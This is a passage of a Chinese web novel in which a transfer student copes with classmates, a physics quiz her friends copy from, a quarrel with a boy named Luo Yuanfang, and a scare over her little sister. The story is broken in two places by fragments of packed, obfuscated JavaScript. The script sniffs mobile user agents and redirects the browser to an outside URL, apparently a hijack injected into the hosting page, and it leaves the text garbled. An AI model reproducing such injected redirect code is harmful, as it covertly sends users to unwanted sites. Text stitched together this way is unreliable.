郑策不耐烦地一字一顿。 “你们家idol流量不行,公司不行,靠一个高中生宣传,不是我说,迟早要完。” 郑策从升起的烟里看过去。 “别人爱喜欢谁喜欢谁,管你屁事啊。出去打听打听我的来历,再考虑怎么对林歌。滚。” “你……” 郑策点点头,“对,我。” 郑策身上有股戾气,没有表情的时候更甚。 厕所灯光昏暗,又烟雾缭绕的。这氛围绝了。 高中生打个嘴炮,扯扯头发的哪见过这阵仗。 在郑策终于吸了一口烟,皱着眉似乎耐心耗尽把烟捻灭的时候,女孩儿切了声冲出厕所。 过了半晌,厕所里传来一阵狂咳。 “你没事吧?”林歌担心地拍拍郑策的背。 郑策最后只想着,点都点着了,多少尝一尝。 没想到呛到她怀疑人生,她老泪纵横,干咳着对林歌摆摆手,“去上厕所吧。” “对不起啊郑策。”林歌洗手的时候都没敢看她。 “有什么对不起对得起的。” 郑策扫了她一眼,应该没哭。 “不上香,神佛就不保佑虔诚的信徒,不买周边,就不配喜欢个小明星了,什么道理。” “她会告你抽烟吗?” “随便,反正我不抽烟。” 郑策看了眼林歌还是怏怏的,说:“下回上厕所还是一起吧。我看了下,都是两两狗皮膏药一样粘着来的,一个人还怪尴尬。” “是吗?我都可以啊!” 林歌眼睛亮了起来,笑道,“哎,不过我idol不会完的,你把刚才那句话收回去。” 郑策哭笑不得道:“行,我收回,他们一定红红火火恍恍惚惚哈哈哈哈嚯嚯嚯嚯。” 出了厕所门又是一条好汉,林歌挑眉问她,“对了,安城北每天打一百回架的,你晕血的话,我看你以后要常备创可贴了。” 郑策打量她,“同学,你很淡定嘛。你怎么不以为我是喜欢他才这样做?” “你都说了晕血。我嘛,从来只重感觉,不重证据,我感觉你看不上他。” “你已经快懂我了。” 郑策犹豫了下,“你刚说的打工是……什么?” “你有兴趣?” 林歌笑着看她,一把揽过郑策的肩膀,“我给你内推啊!” 两人打打闹闹路过的转角边,骆远方在背后看着她们背影挑了挑眉。 她们的争执在厕所门口,路过的人都能看见。 除了刚来那两天,郑策似乎很久没露出这一面了,眼底是深不见底的黑暗,藐视一切的傲慢神色。 又像是压了太多东西,所以才看不穿的空洞。 紧接着肩膀被人一拍。 安城北气喘吁吁道:“那学霸烟都拿出来了,还叫我去找柯言。结果走一半又不用了……哥们儿你溜我呢?” 安城北顺着看过去,忽然奸笑道:“哎,今儿林歌给我创可贴来着,我才来一学期,魅力这么大的吗?是不是喜欢我呢?” 刚亲耳听到真相的骆远方:“……” 世界上最常见的误解就是…… 上课铃还没响,挑廊里挤满来来往往的人。 装逼的男生转圈跳跃投球,仿佛不显摆就不会走路。 女生凑在一起聊最近看过三毛的沙漠故事,电视上重播无数遍的还珠格格和英国侦探小说。 嘈杂的环境里,还是能听见整点的钟声按时从山上传来。 “哎今年那庙好像发财了,修了个钟,每天都敲。” 安城北忽然一把抓起骆远方的手腕,“你这串佛珠是不是庙里求的,有用么?” “心诚则灵。” 骆远方说,“对于你这种只会花钱去贿赂佛祖的二逼,没用。” 第二节课是本学期第一次物理课。 吴老师作为中年肌肉男,到了教室后,火气很旺地将棉服一脱,露出毛衣包裹下一身腱子肉。 他脸上还带着理科男特有的皮笑肉不笑,宣布死讯:“这节课开学小测。” “这吴雨他妈的比何仙姑还刻薄,我学了就是学了,还考我几个意思啊,不信任我吗!” 安城北往后一靠,小声哀嚎道。 “嚎什么嚎,一个假期过了,自己姓什么都忘了吧?” 吴雨冷笑。 “现在不许把书拿出来了。待会儿考试的时候都看我啊,我脸上有答案。” 吴雨说这话的时候,眼神明显是往郑策这边儿瞟的。 郑策本来不想理他,但他这一身和柯言师出同门的装扮还是吸引了她的注意力。 红蓝白条文毛衣掖在西装裤里,网面运动鞋,破皮棕色手机壳,腰上挂着一大坨钥匙串。 他把试卷分发下去后,拿起自己黑色保温杯喝了口,然后往里啐茶沫子。 咦。 这学校稍微年轻点的老师,在学校都玩换装play吗?! 吴雨趁着传卷子的空隙慢悠悠道: “这套题是我专门去镇上图书馆琢磨出来的,你们有福了……不过镇上图书馆这两天小情侣格外多,我下回得写个投诉信,建议图书馆封杀小情侣!” “小情侣就应该把他给膈应死,这样就不用来祸害我们了。” 安城北转头向郑策抛星星眼,越发熟练。 “学霸,试卷给抄吗?” 郑策看了他一眼,无所谓:“你要看得见,想抄就抄呗。” “嚯。” 安城北瞬间瞪大眼睛,肃穆道: “大气,威武!” 骆远方没说话,看了她一眼。 “你也要抄?”郑策问。 “我不用。”骆远方移回目光。 选择题安城北本来还想用万能骰子解决,但在看到试卷的时候瞬间心凉了一半。 这他妈全是不定项啊! 出题老师是本校的,果然还是不做人。 因为是随堂小测,监考又只能防君子不防小人。 吴雨索性放飞自我,直接去教室外面找隔壁班的监考老师聊天。 但就算是这样,安城北还是用上七十二般作弊技能,不辜负每一次测试。 假装掉东西偷瞄,拿小镜子反光看,探头探脑偷窥……就差爬过来直接把脑袋杵郑策旁边了。 这动静不幸打扰了旁边的冷脸男人。 骆远方踢了他椅子一脚,“多动症就去治。” 郑策有些心疼安城北的努力,把试卷往桌边挪了些距离,瞬间收获安城北感激涕零的目光。 还有伪同桌一声重重叹息。 似乎,以安城北为据点,周围一圈的人才们,都是同一个门派的。 同样的技能,将郑策自己都不确定的答案传到了大西洋彼岸。 也不管她带去的是文明的曙光,还是灭绝的火把。 人才们知道答案来源是谁,都抄得坚定而激昂,下笔如有神。 即使自力更生的人都写到第二页,他们的学霸还气定神闲在第一页磨蹭,也没人觉得奇怪。 甚至都以为这把稳打稳扎,万无一失了。 所有人的靠山,郑策本山,此时盯着试卷有些出神。 阅读不过五个字她就会忘了前面在讲什么。 郑策假装思考,撑着头转过去看骆远方。 他做得倒是很认真,笔一直在草稿纸上演算。 和平日里要么打一架要么打哈欠的嚣张状态不同,他推了推镜片,眼神里是空前的专注。 她以前应该也是这样的吧…… 沉迷于题目不可自拔。 看得过于专注,骆远方咳嗽了两声她都没听见。 直到对方用笔帽敲了敲试卷,又咳嗽两声看过来。 郑策才猛然被发现做贼了似的,惊慌转头。 “猪毛卡着了啊,哥们儿?”安城北因为有底牌,胸有成竹地笑着看骆远方。 几个人听见这话,因为害怕骆远方,想笑又不敢,憋得面红耳赤。 骆远方不在乎,看了眼郑策又投入做题中。 本次考试,让安城北最欣慰的是,郑策的字虽然平时没有正常人能看懂,考试的时候还是收敛了许多。 一笔一划写得规整,上下对齐,是阅卷老师喜欢的那种风格,不过…… “最后十分钟。” 随着吴雨屈尊中断聊天,回讲台宣布时间后,郑学霸的字就开始放飞自我龙飞凤舞鸡犬不宁万马奔腾了。 还好是最后一道大题,不会做也无伤大雅,安城北最后鼓起勇气看了眼郑策的作答,闭上眼默默转回去。 这家伙上辈子可能是个特务吧,都加密的。 收卷后,安城北舒爽地瘫倒在座位上,跟刚打完一场胜仗似的。 课间操他都心情好地不跟老天计较怎么还不下雨,扭着屁股跳了几圈兔子舞。 “骆哥,你地理位置这么好都不抄,真是白瞎了。” 跳完操,安城北还在跟骆远方瞎扯,吴雨同时从前门进来,将试卷往讲台上一拍。 “卷子我改完了,你们一个个的,反了天了是吧。” 吴雨大声道:“我琢磨也没那么难啊,竟然三分之一的人都没及格!还写的都一模一样!辛苦你了吧,安城北。” 最后一句话,他咬字格外重。 如果能吃人,郑策感觉安城北现在已经被嚼碎咽了。 吴雨说:“你们抄就抄了,郑策就最后一题写对了,你们好歹抄啊,前面多选答案是ABC,就你们一群夯货选D!正确答案是有毒啊不敢碰?我真无语了……” “不是吧学霸,整我们呢,就最后一道题写对了?” 安城北有种被渣男骗心的痛觉。 “前面你都是咋写的,我猜都不只这点分。” 郑策说:“我猜的。” 安城北:“……” 郑策看他,“我从来也没说过我成绩好啊。” 哈。 安城北真有种被人渣了心,骗了钱,最后甩你一句“我从来也没说过喜欢你啊”的感觉。 “我真日了鬼了,猜都猜那么慢?” 安城北觉得自己抬头纹快夹死蚊子了,压低声音说。 他最后还同情地看了眼骆远方,“你们俩的学习小组,看来只有自力更生了骆哥,节哀顺变。” 骆远方觑了他拙劣的演技一眼,就听见讲台上吴雨顿了顿,结束骂骂咧咧,语气缓和道: “不过,新来的骆远方虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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年轻人火气旺,一点就着。 听完后,大半人立马慷慨激昂。 班里瞬间多了几匹不知天高地厚要冲刺清北的黑马。 颜色还是刚用签字笔涂的,焦黑焦黑。 欧阳长乐应该是在大学的操场上,周边并不吵闹,偶有锻炼的大学生跑步经过。 一群人带了放大镜,还发现了操场角落里几对散步的情侣,给人看得一阵感慨。瞬间更憧憬大学生活。 柯言道:“欧阳啊,以前太拼了,在大学得学会放松知道吗?谈了男朋友也带回来给老师瞧瞧。” “老师你偏心!” 班里一阵唏嘘,怪柯言双标。 “那你也谈一个带给我瞧瞧。” 柯言一记眼刀发射,都怂得又没了声响。 打趣了一阵后,欧阳笑着最后结尾:“对了,我好朋友郑策今年转到柯老师班上,她脸臭但心好,希望大家帮我多多照顾她啊,最后祝大家高考顺利!” 班里又是一阵惊讶和起哄。 郑策没想到欧阳会以这种形式出现在班级里,还委托大家照顾她,这算什么嘛。 她转头眨掉眼角的酸胀感,拳头不经意捏紧。 可她现在根本看不进去书…… 最后一节课把氓剩下的内容讲了。 在临下课最后时刻,教室里所有人都抬起了头,目光紧紧跟随墙上钟表的秒针转动。 最后三十秒。 气氛明显紧张了起来。 “看着啊,短跑选手已就位,开始弯腰紧鞋带,千万不能犯小错。” 林歌背靠着椅子,偏头小声给郑策解析。 “这种抢饭的关键时刻,少跑一秒,多排一丈……看着看着,安城北的身子已经侧转四十五度面向后门,目光锁定……” “下课。”柯言的声音在讲台上波澜不惊道。 同时,铃声响起。 一瞬间,郑策只觉得面前有根离弦之箭,带起的风甚至帮她翻了两页书。 还卷走了她伪同桌。 她一时没回过神。 这就是体训生的爆发力嘛! 柯言为了不被这群饿狠了的畜生误伤,站在讲台上感慨: “新陈代谢最旺盛的年纪,你们就享受吧,我那不考虑碳水和热量的岁月啊——” “为什么要抢?” 郑策有些不理解,之前的学校一下课,大家都在教室磨蹭,宁愿多看几分钟书也不急着吃饭。 这是怎么个发癫情况? 请哪位朋友解释一下。 “因为去晚了,要排队!” 林歌表情丰富道,“本来就饿,还要双眼无神地排十几分钟,天都要塌了好吧!” “那你怎么不去?”郑策问。 林歌嘻嘻笑道,“我走读,回家吃。要一起吗?” 郑策想了想,摇头,“不用,我还有事。” 教务处开学事情多,虽然柯言十分急躁地在假期就把她转学的事办得七.七.八.八,但她的校园卡现在都还没办下来。 所以郑策得出去吃饭。 刚问了林歌兼职的事儿,她也打算去看看。 但转念一想,她现在的状态连书都看不进去,还兼职个屁啊…… 有些郁闷。 在教室等着人都差不多走完了,她才磨磨蹭蹭往校门口走去。 走到半途,手机就开始震动。 她有些吃惊,这个号码几乎没人会联系她。 打开一看,又是骆远方…… 那个农民:【午饭家里没人准备,自己解决。】 啧。 现在才想起来说,刚冲刺跑的时候,脑子里只剩饭了吧,带汤的那种。 郑策正打算回复,骆远方一个电话又打了进来。 “你是不是校园卡没办好?” 他那边有呼呼的风声,骆远方呼吸很重,像是在跑。 但忽然被这样关心一句,刚才因为看不进去书的烦躁仿佛也熨帖了。 因为这句话,还是因为对面是骆远方,她不清楚。 只是像在塑料薄膜上戳了个小孔,闷了许久的空间忽然透进两股凉风。 薄膜因为风的灌入而震颤,内外的平衡即将被打破。 “嗯。”郑策舒出一口气说。 她又悄声说:“大哥,在学校能不能收敛点,发消息就行了吧?” “这样来得快。” 骆远方说,“你们这些学霸心思重,说清楚点,怕你觉得我讨厌你。” “……说完了?” 郑策沉默了下,“说完了挂了。” “诶别,我,是被安城北拉出去帮他们家搬货的。” 骆远方快速解释了句。 “学校门口那两家面馆别去,不卫生,往东走一段路,那儿的店去的人多,味道也不错。” 郑策楞了下,“好,谢谢。” 但哪里是东边啊…… “卧槽安城北你轻点,我胳膊这块儿肉快被你揪下来了!” 骆远方在电话那头嚎,“我真是上辈子欠你的。” 他顿了顿,又有些尴尬地对郑策说:“那,行。你,注意安全,有事联系我。” “谢了,你们也……跑慢点。” 郑策其实并不打算在学校旁边吃饭。 今天是江蔚云第一天开学,也不知道小学生对转校生会不会有歧视什么的。 她打算去看看。 路过公交站牌,郑策尝试着看了下各路公交经停站点。 还是最多能看懂三个字。 操。 她要成文盲了妈妈呀! 虽然打定了主意,自己不是来冲刺名校的。 但忽然间发现自己根本无法专心阅读……这种被动的放弃,还是让她心里有些害怕。 郑策深吸一口气。 将不安和恐惧给压回去,裹紧外套,逆着北风往江蔚云小学走。 18. 等你半天了 “安城北你再揪我肉,我就跟你翻脸。” 这可恶的家伙还专挑胳膊下面的嫩肉拉,骆远方一膝盖顶过去。 “错了错了错了。” 安城北忙挡住,“怕你半路跑了嘛,你之前在校队领跑的时候,把十几岁的一群人直接带崩溃,我又不是没领教过。” 骆远方横他一眼,“答应了帮你搬就不会走。” 安城北立马说:“是,搬这些简单得要死,一点不麻烦。” “那你死一个。” “……骆哥,我昨儿搬了一晚上,我又是家里唯一的男丁,你得帮我。” 安城北语气变缓恳求,“待会儿让我妈请你顿大餐。” “我是为这大餐?”骆远方转身就要走。 安城北眼看事情要黄,抱着骆远方的腰,噗通一跪,嘴里上了发条: “骆哥骆哥骆哥……” “嘴再乱客气,我立马走。” 骆远方瞪了他一眼说,“阿姨还年轻,就,没想过……” “没事。” 安城北看了他一眼,“谁敢娶个英雄的遗孀回去供着啊,把握不好度就会被道德谴责的。” 他无奈笑笑,“再说了,她也不愿意。” “下回还有这样的事。” 骆远方看着小山一样的活物提醒他。 “提前说。我把周全他们叫来。” “别吧,我害怕那几个学长……” 他看了眼骆远方的脸色,立马改口,“好,我一定提前,老婆预产期都提前告诉你们!” 搬完货物回到教室,除了回家的,班里的人基本都在座位上偷摸玩手机。 两个人精疲力竭往椅子上一倒,大有终于活过来的架势。 郑策还没回。 旁边的椅子空落落的。 “郑策怎么还没回来?” 安城北也发现了,随即戏精脑子里浮现了一百零八种可能的场景。 他捂着嘴夸张道:“最近杨吟气焰嚣张得很,她不会因为和我们走得近,被堵了吧?” “你跟她走得近?”骆远方看他。 “你啊!之前我俩旷课,全班就她一人有你联系方式。” 安城北思索着说,“她拿刀抢我的时候气势不弱,就是不知道是不是个花架子。” 骆远方心道,人打你一个不带磕绊的。他站起来就要走。 “你去哪儿?” “帮我去食堂买个饭回来,我饿了。” 骆远方一转头又说,“眼珠子再瞪,我给你抠出来。” “你说他去哪儿?” 安城北转过头去问林歌。眉毛跳街舞,眼睛明示暗示地在郑策和骆远方座位上逡巡。 “你管呢。” 林歌避开他猥琐的表情,“别把眼珠子瞪我嘴里,我不想吃。” “操。”安城北自讨无趣,瘫在座椅靠背上,往下滑了滑,掏出手机开始沉迷游戏。 骆远方在东边的小吃店里没找到郑策,不带犹豫就往江蔚云学校走。 这人还真是操碎了心。 其实他也不知道自己为什么要来找郑策。 只是能够察觉到早晨郑策心情不太好。 郑策总给他一种事关别人就非常谨慎,而事关她自己却什么都无所谓的错觉。 好像对自己是死是活浑不在意。 但就算她真的要颓废下去也不关骆远方半毛钱的事…… 不,骆远方不希望她就这样颓废下去。 果然还没走到,就在涪江边看见两女孩面朝江水坐在草坪上。 一人啃着一块三明治。 骆远方心里莫名一软。 两个女孩团坐着吃午餐,有些心酸。 郑策也难得一见地露出毫无防备的一面,收起浑身的刺,柔软又脆弱。 她裤兜里露出来半张A4纸,上面写着什么劳动合同。 骆远方呼吸一沉。 “给你变个魔术。” 那边郑策说着,摊开双手,掌心里什么都没有。 她凭空捏了一把“仙气”,让江蔚云吹两口。 再打开手掌,里面赫然一个扁扁的透明盒子。 “里面有个小球,可以走迷宫玩。” 江蔚云惊喜着要去接,郑策又一把收回。 骆远方看着不禁啧了一声。 这么欠揍呢。 只听郑策命令道:“背一遍从学校回去的路线我听听。” 江蔚云仰着脖子听话道:“出东门,过大桥,左转到火车站,穿过批发市场,再往前走到富乐路口红绿灯右转……” “走的时候也要记清楚听见没?” 郑策递给她,指尖在她鼻尖擦了擦,“午饭没吃吗?跟饿死鬼投胎一样。” “小美说她喜欢吃鸡腿,我就分给她了。” 江蔚云注意力集中在手里的新玩具上,不亦乐乎。 骆远方和郑策同时怔了瞬。 “什么?”郑策忽然紧张地问。 “她还说什么了?她欺负你了?” “没有。” 江蔚云啃了口三明治,“谁欺负我?你不总说我是人精吗?我就是看小美在班里人缘最好,我跟她搞好关系呢。” “受委屈了一定不能瞒着我听见没?” 郑策扯了把江蔚云的胳膊,犹豫道。 “你也,不用太讨好别人,自己过自己的,喜欢你的朋友自然就会来找你。” 大道理比谁都懂,骆远方不屑地切了声。 既然没什么大事,他就走了。 一直在后面偷听也不是个事。 既然她这么能抗,就自己挨吧,他也不想再背上多余的重量了。 “哟,当保镖呢?” 周全不知道从哪儿冒出来,在他耳边森森地用气声道。 “谁啊,怎么那么眼熟啊?” 骆远方脖子后面被他吹到的地方瞬间起立一层鸡皮疙瘩。 “眼瞎就去治。” “哟,青梅抓马!”周全仿佛豁然开朗,激动地低吼了声。 又乱讲话,骆远方一胳膊肘就往后抡。 站在后面的褚铭手疾眼快捏着周全胳膊往后一扯,无奈道: “你就是找抽型的,贱。” “去店里待会儿?”褚铭拉住周全保持平衡,朝骆远方喊。 “不了,回去学习。”骆远方背对着他们招招手。 骆远方走后,褚铭看智障一样看周全。 “他挺在意这个女孩的,可能比他自以为的都要多。你觉不觉得郑策现在的状态有些熟悉。” 周全也躲在后面偷偷看了两人的背影一会儿,恍然大悟。 “像骆远方在队里刚出事的时候。给他一口锅就能睡桥洞捡垃圾的架势。颓得要死。” 褚铭点点头。 “他可能想拉一把。” 周全不屑:“他还拉?人要学习呢。” “学习,学个屁!” 郑策回去的时候,安城北还在模仿李云龙的游戏中沉迷。 “骆二营长,你他娘的意大利炮呢?给我抬来!” 骆远方一脸冷漠看着他,“饭呢?” 安城北抱着饭盒不撒手,“你老婆被人抓走了,咱连个屁都不放那还是爷们吗?” “我数三个数。”骆远方丝毫不被影响。 而真正优秀的演员,心中必定有无人能及的信念感,通俗来讲,就是不要脸。 “要钱没有,要命也他娘的不给!” 安城北情到深处啐他一口。 “我安云龙八岁习武,都是两个肩膀抗一个脑袋,谁怕谁啊?” “三,二……” “你猪鼻子插大葱装什么象啊?你猪八戒戴眼镜充什么大学生啊?” 安城北急速把台词说完,饭盒往骆远方桌上一放,还是没错过骆远方在他椅背上一踢。 骆远方才终于配合道:“什么他娘的精锐,老子打的就是精锐!” 要是没有前面课桌做球门,老安同志高低得像个冰壶在教室晃一圈。 他卡着不上不下正难受呢,郑策此时笑着坐回去,乐呵呵给安城北赞道:“你他娘的真是个天才!” “谬赞。” 安城北艰难地从肉夹馍的状态里脱离出来,转头看骆远方,“你不饿吗?吃啊?” 骆远方感觉自己额角青筋都跳了两下。有一股蛮力想脱离束缚,直接给他两拳伺候。 旁边一直沉默着的林歌也看不下去了,伸手将安城北的脸给掰回去。 “走,学委让人帮忙搬练习册。” 两位前桌走后,两伪后桌之间沉默了阵。 骆远方犹豫着,正要把手里的饭盒推过去,郑策忽然冷道: “你跟踪我。” 骆远方心猛然跳了下,看着她没说话。 “我们也没熟到这种程度吧?” 郑策看着他。 她的眼睛很黑,很冷。 “碰巧。” 骆远方把饭盒不露痕迹拉回来,也面无表情道。 此时拿卷子的安城北阴魂不散地回来,先把语文开学小测发下来。 郑策没及格。 但作文只扣了三分。 安城北还想赞赏这个学霸专挑难题做,毕竟当时十五分钟干满八百字的战绩还历历在目。 但郑策一语不发接过试卷,脑袋还看着骆远方没动,语气轻蔑。 “是么?” 气氛不对,安城北难得犹豫了下,拉着要回来的林歌又往外走。 “走,还有英语作业也没领回来。” 今天全班的课代表都得感恩这两位田螺小伙田螺姑娘。 又只剩下两人对峙。 骆远方受不了别人和他这样直怼。他看了眼郑策的得分,没忍住呛她一句。 “这就是你回来复读的目的。” “你什么意思?” 郑策的声音瞬间冷下来。试卷捏在手里有些发皱。 “没什么。” 骆远方沉着脸转过头去。 “就是感觉挺自由,学霸随随便便也能混成渣滓。” “骆远方。” 郑策声音不低,难得郑重其事地叫他大名。 “少以为了解我,少替我可惜这儿可惜那儿的。” 骆远方心里烦躁得不行,一听这话,一伸脚把安城北的椅子给踹翻。 这动静才让班里忽然安静下来,都回过头看向他们这里。 就在大家的注目礼下,郑策也一脚踹上自己桌子。 桌子载重不轻,摩擦地面发出难听的一声嘶鸣。 “我是不是跟你说过,少在这儿玩你那套。” 骆远方噌地站起来。 身后椅子倒地。 气氛剑拔弩张。 前排看热闹的被他一激,不由自主也颤颤巍巍站起来四五个,谨慎地看着这边。 “那我也给你说一声。” 郑策顺手直接从后面抄起一把只剩杆的扫帚,在空中转了个漂亮的弧线,嘭的一声敲在桌上。 前排又像马里奥里面的蘑菇一样,敲出来四五个。 “少他妈管我的事,你谁啊?也没人管你吧?” 说出口的后,郑策就后悔了。 但是怒气占领理智,她脑子里除了啊啊啊,就是滚滚滚。 她看着骆远方,冷道:“都是混的,没必要装。” 骆远方沉沉看着她,默了阵,转头就走。 可能是憋的,走之前把自己课桌给踢翻了,前排又炸起来几个呆若木鸡的无知群众。 骆远方走了两步,微微偏头,发出的声音很小,也极沉重。 郑策都能看见他喉结咽了咽,吐出三个字。 “我不是。” 骆远方微抬眸子看过去,小声道:“再管你,我是狗。” 这场闹剧动静不小,但无人伤亡。 除了安城北的椅子和后座两人的一套桌椅外…… 安城北一回来就扑倒在自己桌椅面前,深情款款地唱:“你是我滴,情人~像玫瑰花一样的女人~” 而骆远方前脚刚出门,就被姗姗来迟的柯言给拦了下来。 然后不出意料是,两人被约谈的时间。 这帮九班的畜生,干啥啥不行,告状第一名。 柯言先对骆远方苦口婆心,郑策底子很不错,和她和睦相处对他有好处。 但对方当事人冷脸含着一根棒棒糖答: 看不懂外星文,于事无补。 柯言血条:FirstBlood。 柯·居委会大妈·言又去找郑策,说骆远方本性不坏,看着冷冷的,但和周围人关系都不错。让她自己不要被影响,当然,也不要影响别人……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874655|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 郑策答:我自己人缘不好,高攀不上。 呜呼~Doublekill。 柯言想辞职。 这帮青春期尊严比命高的小孩,谁爱教谁教! 下午的课,青春少年骆远方直接没来。 郑策越看旁边的空座位越憋屈。 明明是她去质问跟踪的事,怎么最后好像是她顽固不化,软硬不吃。 委屈。 郁闷。 又气又烦躁。 生气骆远方说自己混吃等死不求上进,又气什么都被他说中了,自己还无法反驳。 像是一拳打在棉花上,力气被卸了干净,心里的怒火却丝毫没发泄出去。 浑身瘫软,使不上劲儿。 操。 还没等到放学,郑策受不了,去学校天台坐了会儿。 也不知道怎么上来的,迷迷糊糊就坐在了风口上。 头顶是蓝天,她背靠铁网,听风声吹动铁皮门,哐当作响。 郑策不知道还能跟谁说说话,于是把电话打给了欧阳长乐。 欧阳一听就知道她情绪不对,关切地问:“怎么了?” 郑策闷闷的,碎碎念道: “没怎么,就是情绪忽然到一个低落点了,你知道的吧,每个人都有这样的时间……我找不到人说话,就想着你有没有空。” 电话那边从有老师说话的声音,到空旷安静的地带,欧阳长乐说:“我当然有空,大学生还能有什么正经事。” 郑策笑笑,没戳穿她。就像她也没继续追问郑策发生了什么。 真说自己受委屈了,好像还挺矫情的。 她们没聊什么实质内容,郑策东扯西扯欧阳长乐在班上当众向自己表白,脸真大。 欧阳说,玄幻宗师和言情天后本来就是一对。 “郑策。” “嗯。” 电话那边顿了顿,“我高考的资料都还没丢,如果,你想要的话……” “谢谢。”郑策笑了笑,没说要不要。 “嘿你别看不上,你成绩虽然不错,但我这是热乎乎的状元笔记,你可是我第一顺位继承人……” 一个小时的电话,大部分时间都是沉默,还有一个人不断分享炒热气氛,另一个人嗯嗯啊啊。 但沉默的时候也不会觉得尴尬,像是知道电话那头有另一个人,和自己一样,看着头顶的蓝天。 默契像是流动的空气,不断送来清风,足够的氧气呼吸进肺里。 郑策记得小学毕业的时候,同学之间流行互相写毕业纪念册。 别人都占一页,欧阳却给郑策写了一本,全是废话,唠唠叨叨。 她还记得,她说她们要做一辈子的好朋友。 但初高中学业压力变大,两人联系明显变少了。 回来第一天,郑策给欧阳拨过去那个电话,她就知道,这个朋友,是一辈子的朋友。 是能够一起浪费生命的人。 郑策吸了吸鼻涕,整理好心情说:“你快回去吧,课都要结束了,我刚听见了。” 欧阳笑骂道:“打电话过来,要么不说话,要么就会嗯。现在装体贴我课程耽搁了,我给你说啊,晚了,你得负责!” “行,你回来了请你吃饭,给你负二十斤肉的责。” 天台上没有遮挡,天空宽阔辽远。 楼下早打了下课铃,吵嚷的声音逐渐安静下来。 此时天刚擦黑,像黑白电视闪屏一样的麻点笼罩整个世界。 郑策站起来,她手脚已经冻得僵硬,走了两步,脑子里忽然闪过一件事: 遭了,忘去接江蔚云了! 她根本来不及思考,手脚先于脑子移动,耳边只剩下呼呼风声,还有自己狂乱的心跳。 千万别出岔子。 当她赶到小学的时候,人果然已经走光了。 但刚碰巧遇上江蔚云班主任改完作业,揉着肩膀出来。 见着郑策一脸懵,说江蔚云是被人接走的,但孩子太多,具体是谁忘记了。 郑策脑子里嗡的一声炸开。 谁会去接江蔚云? 她们现在自作主张搬到骆家,算是没经过宋熙和韩忠夏的同意。 而他们作为法定监护人,如果要接走江蔚云,或者留下来养,完全合理合法。 想到这一层,她打了个寒颤。 但他们带江蔚云回去干嘛呢? 郑策猛地停下,想起韩忠夏说的,嫁出去卖个好价钱…… 关心则乱,她胡乱地想,要实在不行,她就带着江蔚云跑! 但脑子里思绪还没彻底崩溃,她得先去骆家看看。 脚尖方向一转,又开始奔跑。 万一呢,万一呢…… 千万得是万一啊。 她受不了再失去亲人了。 脸早就完全冻僵,因为刚还没出息地滴了两滴泪,现在风一刮,有些撕裂的刺痛。 脚下轻飘飘的,郑策已经感受不到自己的重量,双脚只是划拉着空气向前。 她感觉自己像是一张纸,被风漫无方向地驱使着向前。 随便一个着力点的坍塌都能让她重重摔下。 如果江蔚云真的被卷入韩忠夏一家的事里,她一定会自责万分。 没事瞎矫情干嘛,别人骂你一顿,能少斤肉么。 现在好了…… 妹妹丢了。 现在…… 好了。 她猛地停下脚步,心脏快速跳动带着脑瓜有节奏地作响。 眼前江蔚云坐在长板上,和上回一样的姿势。四肢张开,脸上笑成一朵花。 她身后站着一身黑衣的少年,修长的双腿百无聊赖在地上划拉。双手插兜,依旧是一副闲散模样。 兜帽扣在脑袋上看不清表情,但发现郑策的时候,绷直的唇角似有一丝缓和,脚下的动作也停住了。 郑策往前迈了一步,才察觉双腿忽然沉重得像是灌了铅。 此时才感觉声音从四面八方涌来。 心一瞬间落到了实地。 她长长呼出一口气。 白气在眼前瞬间凝结成雾,什么东西模糊了视线。 “等你半天了。” 骆远方垂着头,紧绷的身体随着呼气起伏稍缓。 他似乎松了口气。 “进去吧。” 汪汪。 19. 有我呢 郑策盯了骆远方一眼。心里腹诽脑袋冷还剃寸头。 一直戴帽子,脱了裤子放屁嘛这不是。 “哪儿来的沙琪玛?”郑策转过头去问江蔚云,“不能随便吃别人的东西不知道么?” “可是……” 江蔚云有些犹豫地看向骆远方,“是叔叔给的。” 叔叔? 她犹豫了下,看向骆远方,嘴里却问江蔚云,“是……你,叔叔接你的吗?” “对呀!”江蔚云笑眯眯地点头,又仰着头对骆远方呲牙。 骆远方垂着脑袋看她,嘴角也难得勾了勾,看也不看郑策说: “等你去接,全校的人都走光了。” 三人上楼,骆远方故意慢一步落在后面,在郑策身后小声提醒:“宋熙来了,有个心理准备。” “她来……干什么?”郑策猛地转身。 两人只差了一级台阶,骆远方往后仰了仰,郑策以为他要摔倒,立马伸手去拉他胳膊。 但很明显,别人只是在躲她。 伸出的手在空中顿住片刻,讪讪收回。 “不知道。” 骆远方把卫衣帽子摘下来,看了眼她又道,“慌什么,有我呢。” 虽然隔了一级台阶,但郑策本就矮他一个个头,此时两人将将齐平。 距离却似乎比以往任何时候都近了许多。 骆远方忽然皱眉,身子前倾,在郑策肩膀处嗅了嗅,“你抽烟?” 才抽了一口,又吹两小时的东北风,这也能闻到? “这么明显?” 郑策奇怪地也想闻闻,“才一口,味儿这么大么?” “嗯。” 骆远方郑重点点头,“下回别抽了。” 骆远方越过她走到江蔚云前面时,又嫌弃地啧了声。 “谁给小孩儿搭配的衣服,太丑了。” 郑策脑子里还没转过弯。骆叔叔就一把把门推开,大声道:“我们回来了!” “骆乘光。” 骆远方紧接着对着屋子里喊,“给姐姐和小孩儿买的拖鞋呢?拿出来。” 郑策:什么情况? 在所有人震惊的目光下,骆乘光十分默契地从鞋柜里取出两双新拖鞋,路过骆远方的时候,顺便白了他一眼,放在郑策她俩面前的地上。 宋熙从厨房乐呵呵出来,见着郑策的时候脸上的笑僵了僵,谄媚道:“小策回来啦,真是打搅你们了。” “没什么打搅的,添两双碗筷的事,我反正不嫌麻烦。” 骆淇在厨房里招呼骆远方过去帮忙,又说: “我和这俩孩子一见如故,左右这房子我家理亏,帮人养两个小孩儿还是养得起的。” 